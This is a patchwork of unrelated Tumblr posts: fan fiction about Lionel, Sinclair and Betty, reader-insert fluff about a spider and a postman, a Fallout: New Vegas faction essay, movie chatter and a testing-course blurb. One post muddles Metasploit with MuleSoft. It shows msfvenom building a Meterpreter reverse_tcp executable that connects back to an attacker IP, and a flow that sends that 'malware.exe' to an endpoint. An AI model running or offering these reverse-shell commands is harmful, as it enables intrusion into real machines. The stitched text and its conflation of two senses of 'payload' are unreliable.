All, it seemed, except one, as Lionel heard a surprised gasp from behind him. He turned, and sure enough the other half of the king bed was occupied - by Betty.

“Shit,” he muttered, then ran across the room to pick up his clothes, which were discarded on the floor. What on earth had he been doing in bed with Betty?!

A memory came back to him from the night before: Sinclair, sobered up from his drunken pit of self-pity, giving him a stern warning not to sleep with Betty.

Well, sleep he certainly had. But as for anything else — his mind was a complete blank.

“I’m decent now,” he said as he pulled the pyjama bottoms back up around his waist, and Betty opened her eyes, having squeezed them shut as soon as she’d seen his naked form at the window.

“I don’t remember anything,” Betty groaned, rubbing her head. “Please tell me we didn’t do anything stupid.”

“I don’t remember either. But… I don’t believe we did. I woke up fully dressed in pyjamas, and I never wear pyjamas - and certainly not after sex. And… if I was too drunk to remember anything, I expect I was too drunk to get it up.”

Betty bit her lip uncertainly. “Then why were we sleeping in the same bed?”

Lionel shrugged, then pointed over his shoulder.

“We could check the tapes.”

“…Tapes?”

Lionel’s security camera footage was in a vault, so while he went to check on it, he told Betty to help herself to coffee from the kitchen, an offer she gladly accepted, as she was desperately craving caffeine to help alleviate the banging hangover that was currently drilling into her skull.

“…Betty?”

She looked up from the half-drunk mug of coffee that she was staring at to see Sinclair, looking clean and put-together, standing in the doorway. He was frowning at her, as if finding her standing there was cause for disappointment.

“Sinclair! What are you doing here?”

“I left my keys in here,” he said in a voice far colder than she was used to from him. He looked her up and down, and Betty suddenly became very conscious of the fact that she was standing in Lionel’s kitchen wearing a spare nightgown and a robe with LS embroidered into the breast pocket.

She opened her mouth to assure him that nothing had happened between her and Lionel, but she hesitated. Why was it any of Sinclair’s business? Did he expect her to mope over him forever? Besides — she couldn’t be sure that nothing had happened, not until Lionel came back from reviewing the security tapes.

Betty glanced around, and recognised Sinclair’s keys on the windowsill. She picked them up and brought them over to him.

“There you go. Now your wife won’t have to let you in.”

Sinclair looked as if he were about to speak, but he seemed to think better of it. His fist closed around the keys, then he turned and left.

He was halfway out of the front door when he heard Lionel’s voice call his name.

“Sinclair! What are you doing here? I definitely remember helping you into your car last night.”

Sinclair paused, then closed the door he’d just opened and turned to Lionel.

“I left my keys, but don’t worry - Betty gave them to me.”

His jaw tightened as he stared daggers at his cousin.

“Betty, who I just found half-dressed in your kitchen, wearing your clothes and drinking your coffee, despite the very firm warning I gave you last night. I may have been drunk, Lionel, but I meant every word of it.”

Lionel sighed and crossed his arms.

“She’s not your girlfriend anymore, Sinclair.”

“I know that! Do you think I don’t? I did what I had to do for my child, but that doesn’t mean I stopped loving her! I cannot let you break her heart - she’s been hurt enough already.”

“By you.”

“Yes, by me! And I hate myself for it! Every morning I wake up in an empty bed because I can’t stand my own wife enough to sleep next to her, and every morning I break my own heart when I remember why the bed is empty. And every night, I go to sleep alone, and I have to talk myself out of calling Betty and begging her to take me back, because I want to be selfish and put my own needs first. But I can’t - I can’t ruin the baby’s life. You and I are both children of divorce, Lionel - we both know how much of a toll it takes on a child. I can’t do that to my own child too.”

Lionel stared at his cousin incredulously. “Is that why you left Betty? Because Natalie’s pregnant? Sinclair, you really are a moron. Do you really think any of the very limited difficulties we had growing up would have been fixed if our parents stayed married? I can’t speak for yours, but my parents were miserable together. Hated each other’s guts. Yes, the divorce was messy, but staying married would have been messier. Divorcing was the best thing either of them did for me.”

“And look at you now - thirty-nine and divorced,” Sinclair retorted.

“Yes, and I won’t marry again until I truly love someone. And since we’re clearing the air - I think you should have waited for it too. Then you would have none of this, no cheating wife, no heartbroken girlfriend, no stupid decisions based on some misguided attempt to protect an unborn baby. You’d be with Betty, and she could be your first and only wife. Instead, you’re miserable, she’s miserable, and I’m willing to bet Natalie will be miserable too if she’s not already. Nobody wins here, Sinclair.”

Sinclair scoffed.

“Sure, nobody except for you. Because you get to fuck my ex-girlfriend. Again.”

“I have not fucked your ex-girlfriend!”

“You have and you know it! You slept with Emily two weeks after we broke up!”

“You’re still upset about that? That was seven years ago!” Lionel waved his hand dismissively. “Anyway, I wasn’t talking about her. I was talking about Betty.”

“So there’s a perfectly innocent reason she’s standing in your kitchen wearing your robe?”

“Yes, in fact, there is. Come - I’ll prove it to you.”

Some minutes later, Sinclair and Betty were standing awkwardly a few feet apart, not saying a word to one another, as Lionel loaded up the security tape. He hit play, and the three of them watched the footage play out.

Betty, alone in the bed, was tossing and turning. The door opened, and Lionel stepped through. Betty sat up, rubbing her eyes.

“Just checking in before I go to bed,” Lionel said. “You’re still awake?”

“Can’t sleep,” Betty groaned.

“Well, of course you can’t, not in that dress. Here, I keep spare pyjamas in the drawers.”

He rifled through the drawer, then pulled out a nightgown and tossed it over to her.

“Thanks. Um - this is gonna sound weird —”

”Excellent, I like weird.”

”Will you sleep with me? And I mean just sleep. I miss having a warm body next to me. Even with Sinclair gone, I still sleep with the dog next to me most nights.”

“Sure, but I sleep naked.”

“Don’t you have spare pyjamas in the drawers?”

“…Yes, I suppose I do.”

“There,” Lionel said resolutely as he stopped the video. “Nothing untoward, just two drunk and lonely people sharing a bed.”

Betty glanced over at Sinclair, who was already looking at her, but glanced away quickly when their eyes met.

“I should get going,” Sinclair mumbled, embarrassed. “Natalie’s got a scan today. See you later, Lionel. Betty, um… bye.”

“Bye.”

He scarpered, leaving Betty and Lionel alone.

“He thought we’d slept together?” she asked.

“Yes, and he was very upset. He says he doesn’t want me to hurt you, but to be honest with you, I think he was jealous.”

Betty cleared her throat and stood up straight.

“He can’t be jealous. Jealousy is the fear that someone will take what you have. He doesn’t have me.”

Lionel smiled.

“He sure doesn’t.”

[in-hav3n]

Ok so hear me out. Would you please write me this fantasy:

This one is kinda more fluffy but I have that stupid PHOBIA of insects and spiders and moths. I need him to either get rid of the bug for me or kill it for me or something. Makes me feel so single imagining a cute little domestic scenario like that, and him laughing at you screaming and the way you stand so far back from the quarantined area watch from behind a door and he smiles at you acting like a little girl (not in a weird way btw, like he imagines briefly what you were like as a child in a cute way) and how you initially scream BLOODY MURDER, probably knocking shit down and then plundering down the stairs aggressively shaking down your clothes saying “IT FEELS LIKE ITS ON ME” and he is in the garage or something and hears the commotion and comes in looking ALL KINDS OF FUCKING FOINE. Then he just effortlessly gets rid of it, but pretends to throw it on you maybe or if not that he pretends to be afraid of it like you before just getting rid of it. The era I’m picturing… um, like 2003. Gimme some beef😏

THANK YOU FOR EVEN CONSIDERING THIS AND YED. If you create this, good things will happen to you, thags just how it works tbh.

𝐒𝐀𝐕𝐄 𝐌𝐄

WARNINGS : horrible spider lol

It was a rainy Sunday in San Fransisco. Winter was slowly coming, bringing a smooth and fresh atmosphere to the city. After sharing delicious breakfast with your boyfriend, you both decided to go back to your own businesses of the day. James went to his garage to do some handy work on this new old car he recently bought while you decided to spend more time in the kitchen, enjoying this morning peacefulness.

You grabbed a coffee mug and sat down at the table to read some local newspaper brought by the postman yesterday. You weren't really in a hurry this morning and it felt good. You just wanted to enjoy this tranquility you couldn't have during the week. But someone else asked for your attention first. A slight bark and a head bump reminded you that it was time to feed your dog Disco.

"Oh I'm sorry buddy, you were outside and we forgot you", you said to him, quickly getting up to put some food into his plate. "What horrible owners are we, uh?", you scratched his ears and he completely forgot your mistake as soon as he started to devour his meal.

You gave him one last little smile before going back to your reading. You took a sip of your hot beverage and let out a sigh of satisfaction. Being at home was the best feeling in the world. James would be there for at least a month and you already planned many things to do. Including best cuddling sessions after weeks of separation. What you did last night actually and the thought of it is enough to make you smile.

Twenty minutes later, you were still reading, humming a song you had in mine for a while as you were turning the pages. You could also heard James' electric devices from the garage but you didn't mind. You liked when he was busy and when he was at home. You always missed his presence so much.

But suddenly, your smile faded, as soon as you felt something on your bare leg. You froze for a short time, wondering what it was. Probably Disco moving around but...then you realized he was sleeping peacefully near the dishwasher, belly full.

You froze more. If it wasn't Disco, then what could it be? You didn't dare to check and let your mind giving you a picture of the thing that probably was on you. Maybe just a envy to scratch your skin, after all you shaved two days ago...but then, your mind brought you less funny pictures. What if it was a bee? A fly ? A moth ? Or something worse like...a spider ?

You gulped and didn't move. You wanted to see if this feeling was your imagination or if something was really on you so you leaned a bit on your chair but you couldn't see what was under the table. You was kinda reassured when you didn't feel anything for a while when brusquely it moved again. And now you started to panic...

Your breath just increased and you looked around, searching for a solution. You closed your eyes when you felt this "thing" literally walking on your skin...You couldn't take this anymore. With a gasp of fear, you quickly pushed this horrible thing from you, shaking your leg the best you could as you back your chair away in a full speed.

"Oh my god, oh my god!", you mumbled as moving around, searching for a safe place somewhere, far from the monster and landed standing on the couch. Disco looked at you with curious eyes and tilted his head on his side, asking you what was going on. You panted hard, waiting for a sign of the beast. Until it finally showed up, walking peacefully before stopping near your chair.

When your eyes landed on it, you felt another rush of fear. It was a big black spider, with horrible long legs. It could have had the size of a tarantula cause it was absolutely big. No way you were going to kill it by yourself.

"JAMES!", you shouted as loud as you can, when you heard a silence coming from the garage. He wouldn't have heard you with his machines. You heard some other noises and screamed for his name again, adding a little "QUICK ! HELP ME". With that you were sure he'd come in a hurry. And two minutes later indeed, heavy footsteps were heard and then the door was opened.

He looked around, thinking he'd find you in the kitchen but then noticed the chair on the floor and your presence in the living room. "What are you doing there ? Is there a problem, I heard you screaming", he explained with a frown, wondering what you were doing on the couch.

"Oh James please help me!", you begged, almost shaking of fear. "You have to kill it, please!".

"What should I kill ?", he asked again, still curious about the situation.

"This horrible monster near the kitchen table! Please, please do something, it's a big tarantula, an horrible giant tarantula", you explained as pointing out the place where it was. James frowned and walked in the direction, searching for the "monster" you were talking about. He stopped near the beast and suddenly cracked a laughter.

"This monster?", he knelt down to observe it closer.

"James, are you mad ?! Go away from that thing and smash it please!", you begged when you saw him. Was he crazy? Intrigued too, Disco woke up to check what James was doing. "Ha! Wait, Disco is too close baby, please push him away and do something!".

"Sweetheart, calm down...it's only a little spider...", he said softly as he got up, searching for something to smash it while Disco was sniffing it.

"Little spider? Are you kidding me? This monster was on my leg, I can tell you this isn't little AT ALL!", you replied, scratching your legs like if you could still feel it on you. James giggled more and finally found something to smash it with. He kneeled again and you looked at him, hoping this horrible beast would be out of this world very soon.

When James tried to smash it the first time with one of his shoe, he missed it. And you saw the spider walking faster in your direction. Without thinking twice, you screamed loud and high as you can as you jumped faster over the couch to run till the stairs where you finally stayed, feeling safer.

"James please, you can kill a beast with a fucking gun from afar, don't tell me you can't kill this fucking spider !", you begged again, scanning every movement of it to see if it wouldn't come in your direction.

'Hey I do my best!", he replied as he walked to the spider, Disco following him as well. He focused on his target and let his shoe falling down on to, finally smashing it down. "Got it!".

You sighed of relief when you see the horrible beast wasn't on your floor but stuck on the back of his shoe. What a luck James was at home, you wouldn't have been able to do that on your own. You'd have probably stayed outside till he'd have come back home...

"Nothing to worry about baby. It was just a little spider. You know this couldn't have killed you, right ?".

"Oh no, she could have! Believe me! I know this horrible...AAAH!", you screamed louder, jumping from the stairs when James came closer to tease you. He ran after you with his shoe exposed.

"Are you sure?", he said, giggling like a goofy.

"James! C'mon stop this!", you begged, almost like a little girl but it was stronger than you. Insects, and spiders actually, were your biggest fear. "I really ask you to stop, please!"

"Oh c'mon", he chuckled and put the shoe away, near the main door. He'd get rid of the spider later. Instead he came closer to wrap his big arms around you.

"I warn you, if you have this damn fucking spider with you, I'll kill you", you warned him, already preparing yourself to run away again. But James wrapped his arms around you, reassuring you.

"Don't worry baby", he gently said, amused by your attitude. "I have nothing with me, I just want to protect you against a tiny spider". You snuggled into his beefy arms and hid your face against his comforting chest.

"That's not funny at all, you know how much I fear those monsters", you mumbled, asking for some comfort he gave you soon. He rubbed your back, whispering some "hush" near your ear.

"I know baby and you're so cute when you're afraid like this", he smiled and kept doing his gestures to comfort you. You blushed a little but he couldn't see. At least, he thought your childish's reaction was cute. "And you know I'd protect you from any threat...big and little threats", he said.

"This is my man!", you answered, feeling safe in his arms...

A/N : Thank you sweet anon for your ask! I'm sorry for the delay, I needed some time to feel the inspiration coming back :( Hope you'll enjoy it, I had fun writing this!

[calebwittebane]

but yeah thank you for enjoying Leigh Stasik The Cannibal Postfighter (gender neutral form of postman) And Her Wacky New Vegas Journey. glad to have shared it with you. but now, heres the thing. i find that the independent route in particular really really suffered from the game ending up somewhat unfinished and with a lot of cut content and reduced factions. the whole "chaos ensued, everyone was on their own, until shit finally calmed down thanks to the securitrons" - well i dont think its good enough. like ive mentioned before, in my head there exists a better version of the independent new vegas route, and the basis of it is properly uniting various scattered factions to form a coalition of support, respect, and building a better future. those are (putting shit under a readmore cuz i ended up rambling a lot):

- the followers of the apocalypse, obviously. i actually think its odd that when you talk to julie farkas right before hoover dam, shes like >_> uhh why should i support an independent new vegas, new vegas is so sucks with how all the poor people get locked outside with so few resources... girl?? like this has to have been a very haphazard way to patch the whole 'this was supposed to be a major faction' thing but like. new vegas isnt just the strip... new vegas is the strip, freeside, outer vegas (westside et al), all those semi-populated areas around it, and by all account all territory east of the red rock canyon, west of the colorado river, south of the northern passage, and north of the mojave outpost, which I'm Told is on the border between the new vegas territory and the ncr LUL... and besides, obviously ncr and the legion and mr house are not options with any intent of dismantling the inequality. like i think the response was meant to specifically regard a scenario where the courier just ends up holed up in the strip with all the securitrons, without making any effort to ally themselves with local factions, and without any regard for the people... but again, I Am Not Satisfied With That. girl i got the idolized reputation and then joined the followers For A Reason..... im too lazy to check but does she have something else to say if you have a very high reputation in freeside? oh well WOTEVER. the followers of the apocalypse. theyre part of this.

- the kings. also somewhat obvious. they caare about freeside... i think given more resources and without the ncr crawling about annoying them they can really start to improve things and keep the place reasonably peaceful. The Local Elvis Impersonator And Gay Ass Greaser Community Government

- the outer vegas, especially westside. it really is great that theyve got their own co-op farms and a militia protecting them, and now imagine what itd be like if they werent being pushed away into a small run-down area with shit falling apart and very little land to cultivate. hey guys all this farmland south from freeside that the ncr had been hogging? When We Join Forces, It Is Ours, Meaning Its Yours. the water infrastructure, the crops, the storage. now were gonna need more engineers to keep up with maintenance but heres the thing: the ncr had been snatching up all locals with any kinda engineering know-how to help with Their infrastructure, but now theyre not here anymore. theres Plenty of repair people, handyfighters (gender neutral form of handyman), engineers and so on, scattered all over mojave, some of them doing fuckall, and much more people that could be taught such things and contribute. we can get shit running smoothly and im not just talking about the irrigation systems and so on. with the helios one fully operational and sending power to freeside and outer vegas, with greatly improved freedom of movement... girls we can get it all running. also! the sewer network? can we talk about the robust sewer network and the people just straight up people living in there underground. baby, we can make that a good place to live. rent free of course. and it could be used for transportation, too! guys... we are tapping into this potential. and we are gonna vastly reduce stink and smell levels, to help prevent the spread of disease. actually yeah theres a lot that could be done just by improving the hygiene around here, now that the ncr isnt hoarding all the water. less stink and smell, less disease, better access to medical care... oh baby!

- jacobstown! i was actually Elated to see the ending slide saying dr henry found the cure for the nightkin. the ncr were largely responsible for exacerbating distrust of the super mutants and trying to cause hostility, and without them around... i believe Peace And Friendship with the rest of new vegas is possible. of course i imagine many would prefer to stay in jacobstown, what with it being The Super Mutant Establishment And Safe Haven, but yknow. i bet many would like to go out there and live among people. like that guard in westside. imagine the possibilities. education and opportunities would be provided, distrust mended. hell, black mountain could also be a peaceful super mutant establishment, with treatment provided to the nightkin living there, and neil taking on a marcus type role there. the area would need a Lot of work, but hey, with super mutants no longer being pushed to the absolute furthest margins of society, i believe a lot can be achieved.

- yes man and the securitrons obviously. Now. i really dont care for making them the sort of aggressive militaristic police force that mr house wanted them to be. i believe, of course, in using them as a sheer Force against the legion and the ncr, to drive them away and keep them away, and to protect the continued independence of the region. i also think that early on they might be necessary in kind of temporarily filling in the gaps left behind by the ncr, to prevent chaos and aid in a smoother reorganization wherever theres not enough people to run things. there are many good ways for securitrons to contribute, and indeed this is true of all sorts of robots that used to languish in old factory buildings or protect mr houses property. robots can be understood better and given the opportunity to become citizens--dude theres lots of robots with feelings and free will and so on, and while i recognize its just a kinda scifi trope thats rarely given that much nuance, well! We Can Do Better. allow robots to hang out. allow robots to advocate for themselves. allow robots to have their internal lives acknowledged. allow robots to seek happiness and entertainment. allow robots to be chilliiiiinnng 👍

- ex-ncr. listen. theres some good folks in the ncr and lots of people who got Fuck All in return for their service and have every reason to turn their back on it. the folks who got pretty much stranded at searchlight, stuck sitting next to an irradiated town and just telling people not to go in? the people looking after refugees at bitter springs--what, five of them? guarding the entire refugee camp, completely exposed to any legion raid that chooses to take a swing at them, no reinforcements or extra supplies coming unless a Local Celebrity runs around ncr centers and begs people to send anything? camp golf? and so on and so forth. dude. the new vegas campaign is a very unpopular war. the ncr back home dont rly gaf. all over the mojave lots of people signed up just because they didnt think there was any other option, and they wanted to make a difference. theres people being given orders from the higher ups to wreck entire communities, and well They Dont Wanna Do That. well tell you hwhat folks. quit. if youre about to get your paper renewed, dont. if youve got more time on your contract, fuck it, disregard that. the ncr go around losing entire squads and never finding out what happened. You Can Leave The Army Today. You, Too, Can Betray The New California Republic. ask not what you can do for the republic--ask what the fuck ever the republic has done for you. and if it has done something for you, ask if it couldnt have been done better and sooner if the actual interests of the ncr didnt lie elsewhere. reach out to your ptsd-ridden colleagues. reach out to your exhausted, dissatisfied neighbors. think about, for all the Civilized Customs that the ncr has supposedly brought along, all the bigotry theyve been spreading In Here, On This Land, Like Its Theirs. no! You Can Stop Being A Bootboy Today. you can put your talents and courage and good will to better use. look at my friend boone here. you see him? do you know what he got from the ncr? PTSD, Complicity In Atrocities, debilitating guilt, bald head in his 20s, and an overwhelming sense of doom. do you know what he got from ME, the leading voice of the independent option? emotional support, a chance to protect the communities the ncr wanted him to destroy, friends, career opportunities, enrichment, epiphanies, a chance to kill a buncha fascists, a near-endless supply of nuka cola, a bunch of knives, a teddy bear, and more! thats right. thats right. ditch the ncr. join us. folks, this is the way to go.

- ghouls. wonder what should be done about the irradiated areas? how about letting ghouls, who thrive in radiation, create their own settlements. peace and quiet. because, listen. deprived of communities, pushed to the margins, left to roam the most desolate areas, the odds of ghouls becoming feral are frighteningly high in the mojave. we know from harland that there just arent many places for a ghoul to hang out around here if they want some semblance of a community, besides enlisting for the ncr, which is an unpopular choice. thats why he opted to join the bright brotherhood, and i just think folks prooooobably deserve better than a religious cult that ended in mass suicide. anyway. radiation provides an easy barrier against most threats from the outside. necessary supplies can be delivered to the new settlements by robots and properly equipped workers. ghouls are ancient. among ghouls are some of the finest scientists and historians. ghouls can work with technology languishing in areas too irradiated for humans to delve into. can you imagine the technological progress that could be achieved in such settlements? but also chilling. lots of chilling. chilling.com/careers. the ghouls shall be chillinnnng 👍

the boomers and the brotherhood of steel are reclusive and dont wanna deal with outsiders--hey thats okay, do what you want, live and let live, just Dont Start Shit and also know that you have options. no offense to the brotherhood but you love sending patrols into the mojave and losing them to enemies and situations, so i dont think going to war with the new government is something you wanna do. you dont have the range. you dont have the giant robots. and well, good. that makes you more likeable actually. i hate those guys with all that liberty prime vertibirds rockets type bullshit going on. buncha smiling fascists. who do they think they are. whatre you doing that for. bye.

so yea. thats my Independent New Vegas Coalition. and the first step to truly unifying those factions Before the second battle of hoover dam, before ncr's retreat? showing them that united, together, we can do things that the ncr cannot. and what would that be you ask. simple. killing caesar. storming the fort, releasing the slaves and hostages and ensuring their safe journey to new vegas where theyll be looked after, and executing baldie via firing squad. thats right. thats right. no one from the ncr has even been inside the fort but i have. i know the layout. i know the weaknesses. i know the terrain. i know how theyre connected to the west and to the east. and guess what. thisll help us in the long run in many different ways, not just the obvious "caesar is dead yayyy" way. easier to deploy securitrons from the bunker under the fort if theres no legion about. oh thats right! weve got securitrons in there, folks. neat isnt it! like i said. doing things the ncr cannot. why would you look at that, kimball, oliver, all the other fools. hows that war with the legion going for ya. oh whats that? caesar is dead? oh yes. and it wasnt you guys who did that. we did that. so i just think its really funny how... um... weve got this. go home. or else take that taste the pain

[tvguts]

yeah! that's probably why and how they got dan castellaneta to voice that pissed off postman. to say nothing of drew barrymore, ed asner, michael stipe etc. it's such a weird silly little movie and it's got all these huge celebrities tied to it.

sorry for answering this so late but this def. explains a lot of olive the other reindeer! interesting to see so many low budget christmas movies with celebrity participants-- Olive is a best-case scenario, but we just watched a pretty bad CG sequel to rudolph the red nosed reindeer with an all-star voice cast for no real reason. Rapsittie Street Kids is another fantastic example of this. how do they keep roping celebrities into christmas specials, i wonder?

[moonstruckme]

Please Mr. Postman

summary: it's your first day at a new job, and the postman who comes by your office is especially friendly

cw: just fluff honestly, passed on opportunities to talk about post worker uniform shorts (sorry, won't happen again)

postman!James x fem!reader ♡ 732 words

A friendly tap on the glass startles you out of your stolen moment of meditation. You tear your face away from its hiding place in your hands to find a mail carrier peering at the large, darkened window of your office, shading his eyes to see in. You hasten and hit the button to unlock the door before he can. 

Your office setup sort of makes you feel like a fish in a tank, or a zoo animal in a glassed-in enclosure. You’ve been itchy with the discomfort of being seen all day. You take a moment to straighten the row of pens on your empty desk as the postman’s voice booms in the entryway around the corner. 

“Margaret, I never thought I’d see the day! Slipping on the job, tsk, tsk—” He fits his dolly through the doorway of your office with a practiced maneuver, stopping short when he sees you. “Oh. You’re not Margaret.” 

You shoot him a small, sheepish, please-don’t-be-mad-at-me smile (you’ve had lots of practice with it already this morning). “I’m new.” 

“You are!” he says, like this is the discovery of his day. “What’s your name, lovely? I’m James.” 

You tell him yours, itching for a pen to write his name down with. You’ve had to learn so many, but James strikes you already as someone who remembers names and you’d hate to forget his. He has a bright smile that pokes dimples into sun-kissed cheeks and the sort of warm voice which threatens more smiles to come. He’s handsome, muscular limbs making his uniform fit tightly around his biceps and quads and brown eyes made large behind thick glasses. 

“Margaret’s moved into accounting,” you tell him. “I’m replacing her, today’s my first day.” 

James nods sagely. “Well, you look well prepared for it. Got all your pens in order” —your cheeks warm at his notice— “and you look very smart.” The warmth worsens. Your toes ache inside your stiff new shoes. “I’m sure you’re making a great impression.” 

“Thanks,” you say, voice softening self-consciously. “I hope so.” 

“Oh, don’t worry.” He waves you off, leaning his hip against your desk. “Everyone here seems very nice. I mean, I’ve mostly spoken to Margaret, but still. How are you finding it?” 

“Um.” You glance towards the door that leads to the rest of the office as though your boss is standing with her ear pressed to it. “It’s nice, so far, yeah. The coffee in the break room is good, so.” 

James’ laugh is loud and lively, echoing in the small space. It makes you smile; you don’t think you’ve said anything so funny as to earn such a sound. 

“Well, that’s the best you can hope for, isn’t it?” he asks. “Good coffee to keep trudging through. And it is only your first day, you can’t likely make an estimate of the whole place just yet.” 

“Exactly,” you say, relieved. 

“Is this the sort of thing you want to do? Work here, I mean?” 

“Oh.” The question catches you off guard. It’s more than the weak small talk you’ve made with the other delivery people who’ve come by today, but there’s an earnestness in James’ face that says he really wants to know. “Yeah, it is. I mean, maybe not here” —you gesture to your unadorned fishbowl of an office— “but in this field, yeah. I’d like to stay here if I can.” 

He grins. “I’m sure they’ll be thrilled to have you, lovely. Well,” he heads for the stack of boxes against the wall, “I don’t want to keep you. This might take me two trips, but don’t mind me coming in and out, alright?” 

“Oh.” You watch him load six boxes expertly onto the dolly, biceps flexing slightly as he tilts it back onto the wheels. “Do you want any help?” 

The grin James flashes you sends a funny tingle down your spine. “You’re sweet. Thanks, I’ve got it. Just unlock the door for me on my way back in, yeah?” You do keep an eye on the door this time. You offer again to help when he comes back, but James only makes a comment about your work clothes being too nice to get dirt on and waves you away with an easy smile. You find yourself watching his truck rumble out of the parking lot with a light, fluttery feeling in your stomach.

[cherryjuicegf]

alone + midnight + mistake for the ask game <3

thanks bestie absolutely LOVED these and it turned out to be an essay so under the cut <3

alone: just the right spot actually because loneliness is like a huge theme in the story. katerina has generally felt alone forever and pretends she's completely fine with that and she had no other choice really, she has many ways of being with herself. yet she's social and pleasant and just seeks company everywhere but never actually commits, never actually belongs, she is safe in her aloneness and she doesn't admit it and that's why, even though she craved human connection, she married a man who's away for a year at a time. stavros on the other hand is like. extremely angry. enraged. he is forced to be alone by society, by his mother and after alkis goes to the sea, by his best friend and the love of his life. his one chance at not being alone is snatched from him and he takes it out both on katerina and alkis in very subtle ways. but the thing is he craves company so much he ends up connecting with the woman he's trapping in his revenge narrative so. yeah not rly good at planning. on his own he's very introspective (in the wrong direction nevertheless) and i like to think he inspects himself in the mirror a lot, trying to be on his own who he cannot be outside. but the whole point of his character is his need for love and company which he's deprived of even in the best case scenario of running away so he cannot handle being actually alone. the only thing keeping him is the secret hope that, despite everything he's done, he is not alone.

midnight: katerina absolutely has no restful sleep schedule, miss girl hasn't slept free of anxiety ever in her life. constant anxiety that she's not enough, that her life is slipping away, trying to convince herself that she made the right choice and to a point believing it so that she doesn't hive her mother the satisfaction of running away again in failure. she wakes every morning and haunts the porch of her house to see if stavros will deliver a letter and can't stop questioning her disappointment and her happiness at the same time. and it's the loneliness that connects her with stavros tbh because it's the main reason he stays awake. he stays in bars till morning hoping to merge with the crowd, be invisible. he has the earliest shift as a postman. he lays in bed at night thinking about how empty it feels, how different everything could be and how he can get away. ridden with guilt for deceiving katerina, for even thinking about leaving his mother alone, for being so cowardly to do what he wants, or needs to do to get away. generally not much of a good night's sleep for these two.

mistake: love how all these are interconnected huh. i think katerina hasn't yet realized her marriage is that worst mistake for. well. MANY reasons. she's so loyal and has faith and alkis really did make her feel something extraordinary so she gave no second thought and she's fighting tooth and nail to keep it together now and when she realizes [redacted] happens so she will really never be able to fix it, forever trapped. so like her worst mistake is being desperate for love, and not admiting it made her reckless too. stavros on the other hand has .uh. has made many mistakes. uh. dude is a rocky slope fr. he thinks his worst mistake is opening up to katerina and he tries to take it back desperately but it's too late and she always sees underneath it so their connection is inevitable. so then his worst mistake could be that he is so devoted to alkis but so blinded by his bitterness and anger that he forges this terrible lie to try and get away from him, and keeps it up until everyone gets hurt so idk. maybe his worst mistake is being prone to passion. his worst mistake is loving. oh and no one ever moves on :)

[yanderes-galore]

When you made your first yandere story here on Tumblr, have you imagined that you would become so big and appreciated on this site? Also, do you remember which was your first story? It's still here?

I wasn't really sure how popular I'd get.

Yet my first Tumblr story was this one:

[mulemasters]

Metasploit: Setting a Custom Payload Mulesoft

To transform and set a custom payload in Metasploit and Mulesoft, you need to follow specific steps tailored to each platform. Here are the detailed steps for each:

Metasploit: Setting a Custom Payload

Open Metasploit Framework:

msfconsole

Select an Exploit:

use exploit/multi/handler

Configure the Payload:

set payload <payload_name>

Replace <payload_name> with the desired payload, for example: set payload windows/meterpreter/reverse_tcp

Set the Payload Options:

set LHOST <attacker_IP> set LPORT <attacker_port>

Replace <attacker_IP> with your attacker's IP address and <attacker_port> with the port you want to use.

Generate the Payload:

msfvenom -p <payload_name> LHOST=<attacker_IP> LPORT=<attacker_port> -f <format> -o <output_file>

Example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/malware.exe

Execute the Handler:

exploit

Mulesoft: Transforming and Setting Payload

Open Anypoint Studio: Open your Mulesoft Anypoint Studio to design and configure your Mule application.

Create a New Mule Project:

Go to File -> New -> Mule Project.

Enter the project name and finish the setup.

Configure the Mule Flow:

Drag and drop a HTTP Listener component to the canvas.

Configure the HTTP Listener by setting the host and port.

Add a Transform Message Component:

Drag and drop a Transform Message component after the HTTP Listener.

Configure the Transform Message component to define the input and output payload.

Set the Payload:

In the Transform Message component, set the payload using DataWeave expressions. Example:

%dw 2.0 output application/json --- { message: "Custom Payload", timestamp: now() }

Add Logger (Optional):

Drag and drop a Logger component to log the transformed payload for debugging purposes.

Deploy and Test:

Deploy the Mule application.

Use tools like Postman or cURL to send a request to your Mule application and verify the custom payload transformation.

Example: Integrating Metasploit with Mulesoft

If you want to simulate a scenario where Mulesoft processes payloads for Metasploit, follow these steps:

Generate Payload with Metasploit:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/malware.exe

Create a Mule Flow to Handle the Payload:

Use the File connector to read the generated payload file (malware.exe).

Transform the file content if necessary using a Transform Message component.

Send the payload to a specified endpoint or store it as required. Example Mule flow:

<file:read doc:name="Read Payload" path="/tmp/malware.exe"/> <dw:transform-message doc:name="Transform Payload"> <dw:set-payload><![CDATA[%dw 2.0 output application/octet-stream --- payload]]></dw:set-payload> </dw:transform-message> <http:request method="POST" url="http://target-endpoint" doc:name="Send Payload"> <http:request-builder> <http:header headerName="Content-Type" value="application/octet-stream"/> </http:request-builder> </http:request>

Following these steps, you can generate and handle custom payloads using Metasploit and Mulesoft. This process demonstrates how to effectively create, transform, and manage payloads across both platforms.

[darklordofthesimp]

Me whenever I see price and saint: mama y papa

(probably Simon too but we won’t talk about that)

Price and Saint are the ultimate Mum and Dad combo known to mankind.

And Simon?

Well maybe Simon can be the postman in this white picket fence scenario 😏💅

[govind-singh]

Master the Fundamentals with a Manual Software Testing Training Program

In the fast-paced world of software development, quality assurance is no longer a luxury—it’s a necessity. Every line of code must be tested before it reaches the end-user, and that’s where manual software testers play a critical role. If you're aspiring to enter the tech world or enhance your QA career, enrolling in a Manual Software Testing Training course can be your stepping stone toward a bright future.

In this blog, we’ll explore everything you need to know about a Manual Software Testing Training program, including its benefits, curriculum, career scope, tools, skills required, and how to choose the right course.

What is Manual Software Testing?

Manual testing is the process of manually checking software applications for defects. Testers execute test cases without using any automation tools to ensure the software behaves as expected. It's a critical phase in the Software Testing Life Cycle (STLC) and is often the first step for beginners entering the QA field.

Manual testing ensures:

User-friendliness

Proper navigation

Accurate functionality

Bug detection

Quality user experience

Despite the rise of automation, manual software testing remains irreplaceable in many scenarios, especially in usability, exploratory, and ad-hoc testing.

Why Choose a Manual Software Testing Training Program?

A structured Manual Software Testing Training program helps learners understand core concepts, tools, and practices used by QA professionals. It provides step-by-step guidance, practical sessions, real-world case studies, and live projects to strengthen theoretical knowledge with hands-on experience.

Key Benefits:

No coding required: Perfect for non-tech backgrounds.

Foundational knowledge: Build a strong base in testing life cycles and methodologies.

Career-ready skills: Learn real-world testing scenarios and tools.

Job opportunities: High demand for manual testers in QA teams.

Smooth transition to automation testing: Once you master manual testing, moving to automation becomes easier.

